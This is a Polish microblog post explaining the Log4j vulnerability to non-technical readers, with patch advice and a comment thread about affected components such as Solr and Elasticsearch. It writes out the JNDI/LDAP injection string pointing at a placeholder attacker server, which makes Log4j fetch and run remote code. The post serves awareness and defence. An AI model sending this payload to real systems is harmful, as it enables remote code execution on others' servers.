Wpis z mikrobloga

O co chodzi z podatnością "log4j"? #od0dopentestera
Szybkie wyjaśnienie dla osób nietechnicznych.

1. Log4j to bardzo popularna biblioteka używana w aplikacjach stworzonych w języku Java.
Służy ona do zapisywania logów z działania programu.
Log to chronologiczny zapis tego co dzieje się w systemie informatycznym.
Może być przydatny podczas rozwiązywania problemów.

2. Kilka dni temu odkryto błąd w bibliotece.
Jeżeli w tekście, który został przesłany do biblioteki znajduje się odpowiednio zapisany adres do strony - to program spróbuje się z nim połączyć a następnie wykonać kod, który tam znalazł.

3. Wykorzystanie tego błędu jest banalnie proste.
Wystarczy, że do strony wyślesz ciąg: **${jndi:ldap://tutajadresdotwojegoserwera}
Log4j spróbuje wtedy połączyć się z Twoim serwerem i pobrać z niego plik, który następnie postara się uruchomić.
Ten plik może być złośliwy.

4. Ale jak ten adres dostaje się do serwera?
Czy muszę go przesłać przez formularz?
Niestety problem nie dotyczy tylko formularzy.
Każde miejsce, które pozwala na przesłanie tekstu
może być podatne.
Atakujący próbują na oślep wysyłać ten tekst gdziekolwiek tylko jest to możliwe.

5. Podatnych jest tysiące serwerów i programów.
Z racji popularności biblioteki jest ona używana w wielu produktach.
Co możesz zrobić?
Sprawdź, czy nie pojawiła się aktualizacja do Twoich ulubionych aplikacji.
Jeśli jesteś programistą to
zaktualizuj log4j do wersji 2.15.0**.

6. Więcej technicznych informacji znajdziesz na stronie cert.pl.

Ps. Takie grafiki umieszczam też na Instagramie i Twitterze.

#programowanie #programista15k #java #bezpieczenstwo #security #polska
KacperSzurek - O co chodzi z podatnością "log4j"? #od0dopentestera 
Szybkie wyjaśnie...

źródło: comment_1639471713qCJ3iDT198reWpU0LG5jO1.jpg

Pobierz
  • 14
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@KacperSzurek: myślałem że mogę spać spokojnie ale jedna z aplikacji korzysta z Apache solr i jest panika od rana ( ͡° ͜ʖ ͡°) wersja już podniesiona jednak gdzieś widziałem info że nie jest to w 100% skuteczne, co o tym myślisz?
  • Odpowiedz
@diablik: Wydaje mi się, że opinia: "nie jest na 100% skuteczne" wynika z tego, że nigdy nie wiadomo czy aby inny komponent systemu (gdzieś po drodze) nie korzysta czasem z log4j.
Co z tego, że my załatamy swoją aplikację - jeśli jakiś inny komponent tego nie zrobi ;)
  • Odpowiedz
@KacperSzurek: w swojej aplikacji masz kontrolę nad tym, co trafi do wynikowego jara. Problemem są np. aplikacje, które odpalają inne komponenty "gdzieś obok". Kolejki, indeksowanie itd.
Przykład - bitbucket jako taki nie ma log4j2, ale odpala sobie obok elasticsearch do indeksowania repozytoriów. A ten elasticsearch ma log4j2 w podatnej wersji.

Dość absurdalnie wygląda to w kubernetes, gdzie środowiska OKD/Openshift mają poinstalowany stos ELK do przechowywania logów. Także można przesłać ten
  • Odpowiedz
@KacperSzurek:

Przez to jest podatna na inne błędy - na przykład CVE-2019-17571.


I tak i nie, wydaje się, że log4j musi nasłuchiwać nadchodzących połączeń na jakimś konkretnym porcie (co nie jest domyślną konfiguracją). Czyli zdockeryzowana apka z domyślną konfiguracją log4j, wystawiająca jedynie port twojej aplikacji powinna być bezpieczna.
  • Odpowiedz
via Wykop Mobilny (Android)
  • 0
@globalbus: tak, mają podatne log4j ale dzięki Java security manager nie da się exploita wywołać. Poczytaj sobie advisory od elastica
  • Odpowiedz